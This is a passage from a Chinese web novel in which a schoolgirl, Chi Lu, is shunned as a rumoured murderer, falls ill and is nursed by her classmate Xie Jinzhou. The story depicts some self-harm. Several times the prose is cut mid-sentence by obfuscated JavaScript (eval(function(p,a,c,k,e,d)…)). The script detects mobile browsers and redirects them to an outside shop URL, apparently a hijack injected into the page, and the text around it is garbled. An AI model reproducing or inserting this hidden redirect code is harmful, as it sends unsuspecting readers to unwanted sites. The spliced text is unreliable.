站在一旁的谢劲舟看着驰路发了又撤,那行敲出来、发出去的一行字,他都看见了,嘴角不禁勾笑,从口袋里掏出打火机,一开一合。 打火机开合的声音响在山间。 驰路转头看他,看到他一脸怡然自得,觉得奇怪。 这人刚不还跟自己探讨生死,怎么现在就这样,中间发生了什么? 她想,也许是自己开导了他,让他身心舒畅? 她跟他说:“舟哥,就算你不做我的神明,不做我的救世主也没关系,我希望你能好好活着。” 好好活着,才有明天,才有无数可能。 谁都不应该困在昨日,伤口总会在日复一日的磨砺里结痂、愈合。 …… 那晚,外面风声萧瑟,谢劲舟裹着毛毯慵懒地靠在床头,身前放着一个本子,手里拿着笔。 他借着床头的台灯,那些字句一个个从笔端蹦出来。 世界赠我一座深渊 你却在深渊上空雕刻一枚月亮 从前,世界是凝固的 现在,世界是流动的 神明不会陨落 神明会跟你说晚安 我的蝴蝶,晚安 等他写完,竟发现自己下意识在晚安后面画了一只简笔画的蝴蝶,后面还有一个小小的爱心。 * 谢劲舟归校时,并不是周一,而是周五,距离驰路去找他整整过去一周。 对于他什么时候归校,驰路并没有提出建议,因为她知道,他需要时间整理心情。 他一到学校,罗子昂边跟他讲了最近发生的事情,啰啰嗦嗦地说了一箩筐,谢劲舟听得不耐烦。 罗子昂很会察言观色,觉得谢劲舟要让他闭嘴的时候,赶忙说:“驰妹出大事了!” 说这话时,罗子昂刻意把声音压低了。 驰路正专心地背诵英语单词,压根儿没注意后面的讨论声。 罗子昂看到谢劲舟的表情从不耐烦变成了皱眉。 “说!”谢劲舟望着前桌微微弓着的背,她又恢复了那个爱读书爱学习扎着马尾辫的乖乖女。 “我们学校的帖子里都传开了,说是驰妹之所以转到我们这儿,是因为之前参与校园霸凌,还杀过一个人。” * 驰路以为自己的生活会在读书、刷题、考试中度过,偶尔去霓虹酒吧敲敲鼓。 日子枯燥,却丰富。 但她从来不会想过有一天,她掩藏深处的旧日陈伤,会毫无预料地被人揭开。 她很少去关注校园贴吧里发生了什么,之前她还是大姐大时,热衷于刷帖,谁追谁了,谁被谁欺负了,谁把谁得罪了,真真假假,混杂其间。 别人发帖博关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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脑中蹦出来的全是一幅幅可怖画面,那些被人在背后指指点点的,那些明着骂她泼她一盆盆脏水的,那些在网络背后诋毁她的,那些扬言要毁她容的,那些把她逼到死胡同对她拳打脚踢的…… 那些被老爸老妈无数次质疑辱骂的场景,那些弟弟惶恐无措的眼神,那些在雷雨天被关在狭小禁闭室的日子…… 无数画面交织着轮番登场,每幅画面都像刀子般,狠狠地剜着她的心。 她平静的生活再次搅翻起惊涛骇浪。 驰路下意识地掐着自己脚踝的那个文身,上面凹凸不平的伤疤、小小蝴蝶,还有Ελευθερ?α。 此刻无一不在提醒她:到最后,她依然是那只被困在牢笼里的蝴蝶,希冀的自由,不过是一场虚妄。 发生过的,不可能就此翻篇。 就算她想,也有人不想放过她! 被子里的空气越来越稀薄,她这只被囚禁的蝴蝶快要喘不上气。 她紧紧闭着嘴巴,窒息感渐渐漫上来。 指甲几乎要抠进脚踝处的伤疤里,用力往上滑,划出一道血痕。 疼,却感受不到。 直到快无法呼吸,驰路才一把掀开被子,大口大口地汲取氧气,像一尾被拍到岸边张着嘴的鱼。 房间里到处都是黑的,只有床边的香氛蜡烛发出微弱的光。 火苗燃烧着发出噼里啪啦的声音,怎么听不见呢? 驰路从床头柜里翻出所有的香氛蜡烛,摆了满满一桌,全部点燃,房间亮了许多,火焰映在她的瞳孔里,照出了她的凄凉和破败。 她面色灰败,毫无血色,神色呆滞,全然没了往日的妩媚和灵气,失去了生机,宛若凋零枯萎的玫瑰。 她要怎么办? 明天要不要上学?上学了面对那些看热闹的眼神、背后的议论,甚至骂声,她要怎么办? 如果没有这件事,别人怎么造谣她,她都可以不管。 但现在不一样了,有着铁一般的事实,证明她是杀人犯。 她不可能做到熟视无睹、置若罔闻。 这是谁干的?是跟她有多大的深仇大恨,要以这样的方式将她毁灭。 各种纷繁的思绪如缠在一起的线团,扰得她脑袋快要炸了。 67. 世界是无助的海洋 「命运朝我放出冷箭,我很痛苦,却不想输。 毕竟,我不是一个人,我还有你。 是不是啊,Z?」 ——《小蝴蝶的日落》 内心所有压抑的情绪,即使在听到蜡烛燃烧时此起彼伏的噼里啪啦声也没有得到一点缓解。 驰路烦躁得要命,丧失了理智,不受控制地一抬手,将所有蜡烛一一打翻在地。 咚咚咚,蜡烛纷纷落地,有的滚远,有的直接倒扣在地,一片狼藉。 驰路望着空荡荡的桌面,眼神空茫,找不到焦点。 她一动不动地坐在地上,周围是散落一地的蜡烛,火焰摇曳,照得她像在废墟中的残破娃娃,无人认领,自生自灭。 直到驰路闻到空气中传来烧焦的味道才猛然惊醒,一转头,看到一个倒扣在地上的蜡烛。 她把这个蜡烛拿起来,火焰灭了,但瓷砖地面却被烧出了一小片焦黑。 驰路抬手抚着那片焦黑,起初轻轻的,再用了力,恨不得指腹要嵌进瓷砖里才好。 她正被一种深深的无力感包围时,耳畔忽然响起一声惊雷,吓得她一跳,转头看窗外,天色沉沉,似倒灌的深海,要下雨了。 须臾,一场雷阵雨汹涌落下。 驰路眼睁睁地望着阳台上摆放的几盆洋桔梗被雨水打湿,她想起来做点什么,身体却无法动弹。 不想来的,还是来了。 * 驰路不知道自己什么时候睡着的,被一场场噩梦惊醒。 醒来时,瞳孔紧缩,呼吸急促,一身冷汗,汗水浸湿了头发。 身体却是冰冰凉凉,等意识回笼,惊觉自己躺在瓷砖地上,缩成了婴儿的姿势,周围全是散乱的香氛蜡烛。 烛火仍在燃烧着,发出阵阵噼里啪啦的响声。 噩梦那般真实,清醒地刺激着她的神经末梢。 驰路掐着自己脚踝上的那只黑色蝴蝶,想让自己哭一哭,发泄下情绪,却发现根本掉不出一滴眼泪。 多希望有个人在身边,多希望有人跟她说:“别怕,一切都会好起来的。” 多希望,那个在她身边的人,是她的救世主。 但不会有人陪她,她从来都是孤零零一个人。 外面的雨还在下,一下便下了一整夜。 …… 坏消息总是传得很快,窗外依旧来了很多围观她的人,从之前想看清纯版的“鼓手头牌”,到看“杀人犯”,耳边的叽叽喳喳声,从夸赞到诋毁,仿佛一夜之间发生。 人生的落差,驰路不是没有经历过,但即便如此,她依然无法做到心如止水。 她很想把这群看热闹议论她、骂她、诋毁她的人赶走,但她是别人眼中的罪恶方,她跳得越高,诋毁声只会越大。 谁都希望自己是言语的主宰者,都希望自己看到的、听到的就是真相,他们享受着站在言论的制高点指责别人。 也不是没人护着她,她的同桌江迟会赶这帮人走,但赶了一波又来一波,如浪潮般,一浪高过一浪,永无止尽。 甚至,有好事者跟江迟说: “江迟,你知不知道驰路是杀人犯,听说你之前跟她还是同一个学校的,来跟我们说说,驰路当时是怎么杀人的。” “江迟,你这是趁着驰路的男朋友不在,想逞英雄吗?你帮杀人犯逞英雄,合适吗?” “江迟,你快跟我们说说细节,不说的话,我们哪儿都不去哦!” …… 当时的事,江迟是知情人,听这帮人这样说时,驰路把手握成拳,攥得紧紧的,她既紧张又害怕,很怕江迟会告诉他们细节。 但不管谁来跟江迟挑衅或无理取闹,江迟对这事只字不提,还很严肃地跟他们说:“你们再不走,我去告诉班主任!” 围观者除了在言语上诋毁她,还有很多同学会拿出手机,对着她拍照,有的甚至开了闪光灯,闪得她眼睛难受。 这时,江迟会拿出一本测试卷挡在驰路面前,为她遮挡。 许婉、岑语欢也会帮着赶外面的人走,罗子昂最为胆大,直接跑到外面,像赶鸭子似的,抬手连挥,边赶人边说:“谁要是再不走,别怪我的拳头不长眼。” 谁都知道罗子昂是谢大佬身边头等红人,也都知道他是混子,还没等他抡拳头,一个个都跑远了。 欺软怕硬是很多人的本能,你退半步,他进十步,你半步不退,他才知你并不好惹。 敢于反抗不公,才是一个人该有的人生态度。 驰路知道,但以她现在的处境,她什么都做不了。 她最好当一个隐形人,最好消失一段时间,等舆论风波过后,等新的八卦覆盖她的八卦,等这些人将她遗忘,她再归来,那时,应该风平浪静了。 她要跟谢劲舟一样,躲到静心小屋吗? 谢劲舟还在那里,她要去吗? 不,她不能去,她不想让谢劲舟担心她。 她没有可以躲避的港口,只能待在风暴中心,在巨浪的漩涡中心兜圈、打转,随时有被掀翻的风险,却只能生生受着,等待风暴止息。 除了旁人对她的诋毁,中午她吃完饭回教室的路上,还没走到教室楼下,一个重物啪地砸在她脑袋上,砸得她一阵头昏眼花,随之听到掉落在地的声音,低头一看,是一枚碎裂的鸡蛋。 驰路摸摸被砸疼的脑袋,忽然笑了。 一旁的许婉气得四周环顾,边寻找罪魁祸首边说:“是哪个浑蛋扔的?” 回应她的是冷冷的寒风。 许婉见驰路笑,不理解了,被人砸了还笑? “阿驰,你怎么了?”脑袋不会被砸坏了? “还好不是生鸡蛋。” “……” 驰路回到教室,刚想坐下来,看到桌上、椅子上,都被人用鲜艳的红字写着恶劣的诅咒话语:“杀人犯下地狱!”“杀人犯去死!”“杀人犯死全家!!!”“杀人犯滚出我们学校!!!” 字写得又大又醒目,被窗外走过的人一眼看到,拿出手机一通拍。 驰路忽然停住,心头像被什么东西堵住,抽抽的难受。 就算她是罪人,她要下地狱,她要去死,那也是她该承受的,跟她的家人有什么关系?为什么要拉上他们? 这帮浑蛋!!! 驰路气得捏紧拳头,忍无可忍地狠狠地往桌上砸去,砰的巨响,震醒了有的正趴在桌上睡觉的同学,转头看她,骂她一句“神经病”。 她用手背一下下擦着那些用马克笔写上去的诅咒,用了很大的力,才擦去一点。 驰路发了狠,跟自己较着劲儿,几乎用了全身的力气,来回擦着上面的字。 许婉见她这样,心里又痛又难受。 关于她为什么是杀人犯的事,她只字未提,她看着别人看像动物一样围观她,听着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560784|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那些人明里暗里诋毁她,看着那些人朝她指指点点,又看到有人给她砸鸡蛋、扔树枝,甚至有人朝她砸石头,她的脑袋上被砸出一个小包,脸上被划出一道血痕。 现在,又有人直接用这样的方式诅咒她,她得多难受。 跟驰路相处快四个月,许婉知道她是什么样的人,她很乖,学习用功,成绩很好,打鼓很棒,对她很贴心,在她的司机请假没来接她时,她知道她怕黑,会打车把她先送回家。 驰路很有耐心,会耐心地倾听她跟程佑白的事,会告诉她:“暗恋就是想当一阵风,偷听他所有的心事,也想把自己的心事都吹到他的心上。” 她跟她以前交往的任何一个朋友都不一样,不看中她的家世,不看中她穿什么名牌衣服,而是单纯地跟她做朋友。 这种不建立在任何名与利基础上的友谊,她向往已久,无意间偶得,许婉格外珍惜。 如今看着驰路陷在这场舆论中心,她想帮她做点什么。 求助自己的爸妈?但怎么跟他们开口?告诉他们自己的好朋友正陷在杀人犯的风波中? 不!一旦她这样说,她爸妈一定会让她跟驰路断绝关系。 她唯一能做的,好像只有默默地陪在她身边。 许婉拉住驰路的手腕,看着她空茫无神的眼睛,轻声安慰她:“阿驰,别这样。” 她看到了驰路掌心下已是一片红,分不清是擦的字,还是用力过度留下的红痕。 * 驰路这两天一直处在晚上不知道什么时候睡着,白天睡不醒的状态,上课上得昏昏沉沉。 好在坐在后排,桌上把书垒高点,便能当城堡挡住老师的视线。 不过,她这萎靡不振外加咳嗽感冒的症状还是被老马发现了,喊她去办公室进行了人文主义关怀。 老马不看贴吧,不听八卦,一门心思沉浸教学工作,显然不知驰路并不是因感冒而引起的萎靡不振,跟她说:“到高三的关键时刻了,这几天老下雨,降温了,你要多穿点,记得多喝温水,吃点药,不行的话,你请假一天休息下。” 老马的关心让驰路的鼻头有些酸涩,眼眶不自觉泛红。 作为没有血缘关系的班主任都能对自己有这样的关心,但自己的老爸老妈呢?他们去过他们的日子了,她好像成了不存在的那个人。 之前听驰岸说,老爸有了金发美女,好像还挺有钱。 老妈那边给自己的生活费严重缩水,跟她说,她们以后要省吃俭用,钱是越花越少。 起初她信以为真,下一秒听到了电话那边的男声:“老婆,你看那车不错,我开着带你去兜风一定会很拉风。” 呵,合着这年头,亲生的女儿不如野男人! 驰路紧紧握着手机,想大声地对老妈说:“路漫,你有本事别抠扣我的生活费去泡男人!” 但她什么都没说,没等老妈继续说什么,断然挂了电话。 她亲情的篱笆东倒七歪、四处透风,夜风吹过,便要倒塌。 世界成了荒芜的沙漠,她不过是喁喁独行的旅人,哪里是家?她找了很久很久,都没找到。 她在这个边远小镇,是死是活,仿佛对他们来说无关紧要,他们只要过好自己的生活就好。 随便吧,她怎么能从稀薄的亲情中渴求太多。 不过,她不会总是一个人,不是吗? 至少,她还有谢劲舟。 68. 小蝴蝶生病了 「谣言有多可怕,我知道。 小蝴蝶,你别怕。 你还有我。」 ——《引路星》 驰路等到了她的救世主的归来! 不过一周没见,谢劲舟发现驰路像变了个人,那双原本充满光的狐狸眼已然失去了所有光彩,暗沉、颓丧。 上课时不再看黑板,听课时心不在焉,她一直趴在桌上,像是睡着,却又不像睡着,不停换着睡姿。 他用手指戳她的后背,她置若罔闻,好似已沉沉入睡。 课间时时不时有围观她的、议论她的,他一个凌厉的眼锋便能将他们赶走。 谢劲舟看到了校园贴吧里众人对她的议论和诋毁,鲜少能看到维护她的,还是他那帮兄弟刷的。 年级学霸乖乖女,一夜间成了杀人犯。 舆论来势凶猛,可以将当事人压垮。 谢劲舟经历过网络霸凌,知道看不见的言语其实就是一把把利刃,每句话都会精准地戳到你的心上。 你会愤怒、会彷徨无措、会情绪低落、会想跟这个世界脱离。 你是一座被众人践踏尊严的孤岛。 他不是她的救世主吗?发生这么大的事,她为什么对自己只字不提? 谢劲舟有点气,跟驰路较着劲儿,一天没跟驰路说话,他倒要看看她什么时候主动找自己。 他的蝴蝶沉默不已,一天都把他视如空气,就算他走到她面前,她也好像没看见。 驰路一天都在咳嗽,看起来蔫蔫的,像感冒了。 她什么时候感冒的?吃药了吗?有没有好好照顾自己? 艹,怎么全是对她的在意! 要命! 谢劲舟课听得零零散散,贪吃蛇游戏玩得断断续续,就连打篮球都打得心不在焉。 罗子昂全都看在眼里,撞一撞他的胳膊,跟他说:“舟哥,干吗呢你?想跟驰妹说话就说啊,端着有劲吗?” 谢劲舟偏一身反骨,谁让驰路不理自己。 但这股劲儿还没到放学就绷断了。 上晚自习时,外面下起了雨,斜斜地飘进阳台,打湿了地面。 有的雨水被风透过未关的窗户,刮到了驰路的桌上,课本渐渐湿了,她却视若无睹。 江迟探身过去关了窗,拿纸细细地帮她擦课本上的水珠,轻声问她吃药了没。 谢劲舟本在跟网吧老板黑子哥请假,刚敲了几个字,却看到了江迟为驰路做的,立马不敲字了,目光全在两人身上,眼眸越来越沉。 他把手机往口袋里一塞,扳过驰路的肩膀,看到她泛红的脸颊,看起来在发烧。 谢劲舟抬手朝她额头上一摸,烫意顿时袭上他的指间。 他的心忽然一滞,像被什么东西堵住,极不舒服。 “你就是这么糟蹋自己的?”谢劲舟沉眸,冷声说。 “要你管!”驰路被烧得晕晕乎乎,面对谢劲舟质问的口吻,来了气,一下挡掉他的手,转过身去。 谢劲舟干脆站起来,走到江迟身边,简单明了地说了句:“让开。” 江迟犹豫了几秒,站起来,让到了一边。 其他正在埋头刷题、写作业的同学们听到了这边的动静,纷纷朝这边侧目,都一副看好戏的模样。 谢劲舟一把拉起驰路,帮她拉上敞开的薄棉服外套,边拉边皱眉。 这么冷的天,穿这么少,她不感冒谁感冒! 他把她外套的拉链拉到最上面,几乎盖住她的半张脸。 这还不够。 谢劲舟利落地脱下自己的羽绒冲锋衣,刚要帮她穿上,只见她终于抬眼看他,眼睛里没有一丝光彩,黯然如角落里失去生机的植物。 “谢劲舟,你干吗!”驰路直视着他的眼睛。 这是她今天第一次看他,他的眼睛还是那么深邃、狭长,带着一丝冷冽,又似乎暗含着一丝温柔,像寒冬腊月里天边悬着的一枚小小弯月。 她那颗已经沉入深渊的心,瞬间忽然像看到了一束光,这光可以引着她往前走,走出深渊。 她期待她的救世主很久了。 期待的每一分每一秒,都度日如年。 他今天来学校了,为什么不跟她说话?为什么不问问她,她怎么了。 她期待中的画面,一幅都没出现。 是他知道她的事了,信以为真,厌恶她了?不想理她了? 呵,这人世总是这样,你荣耀加身时,有人能捧你上天;但你跌入谷底时,也有人能踩你入深渊。 他不过跟旁人一样罢了,他没有错。 错的只是自己。 照片是真的,结论是假的。 但又有什么关系呢?大众相信自己看到的,也愿意从众。不合群的言论,只会遭来攻击和嘲讽。 舆论每天都如纸片般纷纷扬扬地洒开,似乎全校的人都知道曾经发生在她身上的事了,似乎她就是该千刀万剐的罪人。 语言是一把把看不见的刀子,揭开她的隐秘过往,每日每夜都剜着她的心。 她多希望,她的救世主可以关心关心她,可以给她一个拥抱,但什么都没有。 现在,他要做什么? 又是帮自己拉拉链,又是脱衣服给她,是怕她着凉? 思及此,心头滚过一丝暖意。 眼前的人,用行动在关心她,但眼神里没看出丝毫。 这迟来的关心,算什么? 是被江迟激到了,所以才宣誓主权? 如果是这样,谢大佬真是幼稚得可笑! 她不要这样的关心! 驰路重新坐下来,正想翻开数学练习册看看错题,却没想到自己的胳膊再次被人拽住,力道挺大,一把将她拽了起来,不由分说地帮她穿上冲锋衣,拉上拉链,拽着她往外走。 谢劲舟的动作一气呵成,像提前排练过。 驰路见他要拽着自己走出教室,身体往后退,他却一把将她拉出教室,似乎知道她要说什么,转头对她说:“驰路,你是想让自己死在这里吗?” 话说得格外刻薄,不留一点情面。 但他好像没说错,再烧下去,她大概要死在这里了。 一出教室,冷雨斜斜地飘进来,尽数往她身上砸,她正想用手挡,谢劲舟却挡在了她的右侧,帮她隔开了所有风雨。 一路沿着过道走,驰路能看到自己班的同学、别班的同学,纷纷探出脑袋,围观他们。 她听到了议论声,有的说,谢大佬这么拽杀人犯是不是要跟她谈分手;有的说,谢大佬怎么可能跟她谈分手,衣服都给她穿上了,这是要跟她风雨同舟…… 什么样的声音都有,驰路原本对这些议论声听麻木了,也就不去听了。但这次不同的是,多了谢劲舟,他们说的每一句,她都去听了,听得五味杂陈。 他们走到楼梯口,刚想往下走,余光中看到迎面走来了一个身量不高的中年男人,见他们要往下走,急忙叫住:“你们要去哪儿?” 驰路一转头,见是班主任老马,立刻停下脚步,跟老马打招呼:“班主任好。” 老马的视线落在了他们牵着的手上,之前听其他科任老师说,他们好像在谈恋爱,他本不信,但现在呢? 驰路穿着谢劲舟的外套,还被他牵着手。 他们表现得还不够明显吗? “你们在谈恋爱?”老马用一种质疑又肯定的语气问。 “班主任,我们没有谈恋爱。驰路发烧了,我带她回家吃药。”谢劲舟面不改色地解释。 “哦~”老马拖长音调说。 这天驰路病恹恹的,老马都看在眼里,还让她要是很不舒服的话,可以请假回家,她却撑了一天。 此刻的驰路看起来状态更不好了,面色泛红,连眼睛都像被烧红了。 老马不疑有他,跟谢劲舟说:“你回去了就不用来上晚自习了,回去好好照顾驰路啊!” “好!”干脆利落的一个字,如同滚珠般,落在议论声夹着雨声的空气里,也落在了驰路的心上。 * “那不是杀人犯吗?” “是啊,谢大佬怎么跟这样的人谈恋爱!” “看,你赌输了吧,谢大佬没跟杀人犯分手!” “谢大佬怎么到这现在还不明白,杀人犯就是杀人犯,一辈子都是!跟这样的人在一起,早晚都是祸害。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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谢劲舟把驰路推到车棚里,兀自收了伞,放到摩托车的后备箱里。 他走到驰路身前,帮她取下眼镜,又帮她把冲锋衣的帽子戴上,拉好抽绳,系上。 驰路一张巴掌小的精致面庞便全被收拢在帽子里,露出一双泛红又可怜的狐狸眼。 她没了往日的妩媚,恹恹的,像一只需要被照顾的小猫。 谢劲舟摸了下她的额头,还是那般滚烫,眼神肉眼可见地一沉。 得快点回去,让她吃药。 谢劲舟帮她戴头盔,刚要把护目镜放下,却被驰路挡住。 “舟哥,你要淋雨回去?”驰路的声音哑哑的,透过雨声传到谢劲舟耳边。 “要不然呢?”谢劲舟把护目镜放下,自己也戴上头盔,跨上去,见驰路没动静,拍了拍后座,她还是没动。 谢劲舟没了耐心,干脆一把揽起驰路的腰将她抱坐在后面。 驰路打开护目镜,又打开谢劲舟的,看着他说:“舟哥,你开慢点,我来打伞。” “能开多慢,你打伞影响我的视线,不方便。”谢劲舟不得不解释,“一会儿就到家了,老子淋这点雨不会死!” 一路上,雨声啪啪地砸在头盔上,驰路紧紧环着谢劲舟的腰,贴着他的后背,希望这样能给他一点温暖。 到栾花巷32号时,因冲锋衣防水,驰路的上身并没打湿,谢劲舟却成了行走的滴水器,从头到脚被淋得湿透。 驰路看着这样的他,心里不是滋味,让他先去洗个热水澡。 谢劲舟却让她先去洗,她这次比以往任何一次都洗得快。 等谢劲舟进卫生间时,里面布满氤氲的热气,弥漫玫瑰的香气,还混着属于她的气息。 他喜欢这样的时刻,跟她共用一个空间,被属于她的气息包裹,仿佛找到了某种不可言说的安心。 谢劲舟很快洗完澡,胡乱擦了几下头发,便去敲驰路房间的门,敲了几下都没人应,他才轻轻地打开门。 透过一丝门缝,谢劲舟看到了躺在床上的驰路,正睁着眼,撞上他的视线。 她躺在那儿,娇弱得像不堪一折的花枝。 谢劲舟望向床头柜,看到水杯里的水没少一点,药片还在桌上,立刻打开门,随手关上,走到床边,俯身看驰路,皱眉问:“没吃药?” “舟哥,”驰路轻声叫他,“喂我。” 她看他的眼神,像个急需被人照顾的小孩。 69. 乖乖照顾小蝴蝶 「蝴蝶的翅膀被人折断了,不能自由飞翔了。 Z,谢谢你相信我。 蝴蝶不用沉沦的唯一理由,是你给的。」 ——《小蝴蝶的日落》 谢劲舟本要再说点什么,火焰尽数熄灭,坐下来,扶着她起来,拿来药,端来水,递到她嘴边喂她,像照顾谢林乔。 但药到了她嘴边,她的嘴巴却紧紧地抿成一条线,丝毫没有想吃的迹象。 “怎么,不想吃?” “不想。” “你想怎样?”谢劲舟神色一凛,来了气,刚给她量了下,烧到39度了,不吃药,想做什么! 这两天,驰路一直咳嗽,但没发烧,她也没管,什么药都没吃。 今天发烧了,从早上持续到现在,江迟、许婉、岑语欢、罗子昂纷纷关心她,问她有没有吃药,她都说吃过了。 但她撒谎了,她没吃药。 她不想吃药,希望自己发烧,她等着这一刻的到来。 烧得越厉害越好,这样她就可以意识昏沉,就可以放任自己不去想那些事,可以让自己获得短暂的宁静。 宁静是获得了,但身体却持续遭殃。 会不会就这样烧死? 有过这样的念头,但转而又觉得可笑,她怎么可能那么轻易就离开这个世界呢。 驰路看着谢劲舟掌心里的那枚药丸,拿过来,捏在手指间,就着灯光,细细端详,边端详边笑着说:“我想就这样。” 谢劲舟心头的火气更甚,拽住她纤细的手腕,厉声说:“驰路,给老子乖乖吃药!” 全然没了方才像平时照顾谢林乔时的好态度。 “我不要!”驰路敛了笑,如一个固执的小孩,把药丸重新塞回谢劲舟的掌心。 谢劲舟没了耐心,捏着驰路的双颊,想让她张嘴,她却紧紧地咬着牙,抬头挡掉他的手。 啪嗒,轻微的一声响,药丸落地,滚了几圈,溜到床下,消失不见。 气氛瞬间凝滞。 两人望着彼此,视线在空中交汇,水火不容。 “你走吧,我要睡了。”驰路拉起被子,躲进去。 须臾,被子被人一把掀开,她听到谢劲舟说:“驰路,你给我起来!你以为老子很有耐心?” “我知道你没有。”驰路没起来,也没看谢劲舟,低低地说,“你走吧。你就不怕再待下去会被我气死?” 谢劲舟看着她蜷缩成一团的姿势,又觉得她有些可怜,气愤、怜悯全在心头交织。 这只蝴蝶,真是拿她没办法! “你再不吃药,我才会被你气死。”谢劲舟的语气软了点,拉过她的手,轻轻地捏着她的手心,“阿驰,起来吃药。” 驰路被他哄人的语气弄得心头一暖,转过身去,抓住他的手,握住,说出心底藏着的心思:“舟哥,我想就这样烧下去,这样就不会去想那些事了。” “傻瓜,不管发生什么事,都不该以这样的沉沦作为代价。”谢劲舟把水杯放回桌上,摸着她还湿漉漉的头发,帮她拉过被子盖上,“我知道你在想什么,你在顾虑什么,你这两天过得很不好吧。” “嗯,一点都不好。”驰路拉着他的手,一起放在被窝里。 好像只有这样,她那颗被刺痛到麻木的心,才能得到一丝慰藉。 “来,先把药吃了。”谢劲舟将她脸侧的湿发撩到一边。 驰路被他哄得坐了起来,牵着他的手一直没松开。 谢劲舟感到此刻她对自己的依赖,任由她牵着。 他将药丸递到她嘴边,这次,她乖乖地张嘴,将药丸含在舌尖。下一秒,水杯递到唇边,她微微仰头,就着水吞下药丸。 一滴水残留在驰路的唇瓣,谢劲舟抬手轻轻帮她擦去。 他擦得轻轻淡淡,驰路却觉得脸颊越发烫人,这抹烫意蔓延至心脏,突突跳得厉害。 但她面不改色,靠到床边,看着谢劲舟帮她掖好被角,拿来吹风机帮她吹头发。 “头发这么湿就睡觉,你就这么希望自己感冒加重!”谢劲舟边说边打开吹风机。 “我希望你来陪我。”这句话很轻,轻得似细细春雨,连她自己都没听见,被吹风机的呼呼声盖过。 帮驰路吹完头发,谢劲舟又摸了下驰路的额头,还是那么烫。 他让她躺下,站起来时,电话响了,网吧老板黑子哥给他打来了电话,问他今晚还去不去。 刚才忘记给黑子哥请假了,他转头看向病恹恹的驰路,看到她微微启唇。 他读出了她正在说的唇语。 她说:“别走。” * 驰路不希望谢劲舟离开,他是她黑暗世界里唯一的光。 如果连他都不在身边了,世界就彻底暗下去了。 长夜漫漫,那些无休无止的梦魇会一次次缠上来,几乎让她窒息。 她是被拍在岸边的鱼,急需氧气。 谢劲舟是她的氧气。 说出“别走”,是她的下意识,也是她的本能。 她听到谢劲舟跟电话那头的人说:“黑子哥,我想再请三天假。” 电话那头的人说了什么,驰路听不清,但听到谢劲舟这么说,她提起的心放了下来。 驰路见谢劲舟挂了电话,走到书桌前,手搭在椅背上时,她明白他要做什么,立刻跟他说:“舟哥,你来,坐床上。” 谢劲舟一惊,没有他没记错,这次驰路第一次主动邀请他坐她床上。 要知道她的床向来是不让任何人触碰的地方,哪怕是谢林乔也不行。 为此,谢林乔说驰路“小气鬼”,驰路半开玩笑地回:“我就这一块领地了,再被人占了,就什么都没有了。” 这话被谢劲舟听到了,有股莫名的酸涩涌上来。 他们都一样,拥有的太少,失去的太多。 谢劲舟走到床边坐下,发现她的床比他的床要软。 后来,她大费周章地换了进口乳胶床垫,床头也套了床套,清爽的蓝色系,左上角、右下角都有翩翩起舞的刺绣蝴蝶。 被单、床单也都是蓝色的,被角绣着三四只起舞的蝴蝶。 他刚坐下,便被驰路抱住,力道越来越大,生怕他要离开。 他感受到她的情绪,摸着她的脑袋,用像安慰小孩的口吻说: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560786|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “阿驰乖,舟哥不会走。” 驰路久久地抱着谢劲舟,他的怀里满是沐浴后的皂香,独属于他的气息,一点一点地蹿入她的鼻端,溜进她的世界。 他也将她抱住,轻轻地拍着她的肩膀,像极了儿时她生病时,路女士抱她拍背的场景。 彼时,路女士是她遮风挡雨的避风港,给了她最温暖的拥抱和最抚慰人心的话语。 她说:“阿驰,妈妈在,你就什么都不用怕。” 驰路的鼻头忽然一酸,忽然很想很想路女士了。 她把谢劲舟抱得更紧了。 多希望时间能在此刻停留! 她不要沉沦,她要像蝴蝶一样飞翔。 而谢劲舟,是她当下唯一不能沉沦的理由。 窗外的雨声依旧淅沥,楼下传来老人的咳嗽声,好像还有人开院门的声音、跌跌撞撞的走路声…… 这些声音越来越小,她的意识越来越混沌,那些日日夜夜缠着自己的梦魇忽然消散。 驰路变得很安心,好像找到了避风港,她在避风港里歇息,安然入梦。 谢劲舟垂眸看着她,看到她闭着眼,发出均匀的呼吸声,似乎已经睡着了。 她的眼睛下面有一圈重重的黑眼圈,睫毛长长的、湿湿的,脸颊上似有晶莹液体。 谢劲舟抬手抹去,一片温热。 啧,小蝴蝶哭了。 他的心毫无预兆地一疼,帮她擦掉脸上的泪水,抬手抚着她右眼尾的那颗胭脂痣说: “小蝴蝶,别哭。我相信你是无辜的。” “你的幽暗世界,会升起一枚春天,我愿意做你全部的黎明。” * 谢劲舟是在驰路沉沉睡去才离开她的房间,离开前,帮她点上了香氛蜡烛,拉开抽屉时,发现所有的蜡烛都被用过,每个都燃烧了大半。 他不在的日子里,她每晚都过得很煎熬吧,就跟前些天的他一样吧。 谢劲舟躺在床上,也拿出她送自己的香氛蜡烛点上。 崭新的香氛蜡烛,第一次用。 之前不是不想用,而是舍不得用。 这个蜡烛,他曾去商店找过,没有找到一个一模一样的,也没有这个味道的。 他怕自己用完,就好像切断了跟她的某种连接。 